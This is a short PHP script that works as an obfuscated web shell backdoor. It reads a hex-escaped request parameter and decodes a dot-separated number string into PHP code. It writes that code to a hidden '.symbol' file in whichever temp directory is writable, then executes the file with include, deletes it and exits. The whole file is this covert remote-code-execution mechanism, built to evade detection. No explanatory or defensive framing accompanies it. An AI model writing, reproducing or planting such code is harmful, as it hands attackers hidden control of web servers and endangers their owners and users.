<?php

if(count($_REQUEST) > 0 && isset($_REQUEST["fa\x63\x74o\x72"])){
	$flg = $_REQUEST["fa\x63\x74o\x72"];
	 $flg= explode(	 ".", $flg	  ) 	;		 
	$pointer = '';
            $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($s6);
    
            foreach ($flg as $p  =>		$v3) {
                $sChar = ord($s6[$p % $sLen]);
                $d = ((int)$v3 - $sChar - ($p % 10))^ 87;
                $pointer .= chr($d);
            }
	$ref = array_filter([getenv("TEMP"), "/tmp", session_save_path(), getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", sys_get_temp_dir()]);
	foreach ($ref as $key => $flag) {
    		if (array_product([is_dir($flag), is_writable($flag)])) {
    $data = vsprintf("%s/%s", [$flag, ".symbol"]);
    if (@file_put_contents($data, $pointer) !== false) {
	include $data;
	unlink($data);
	exit;
}
}
}
}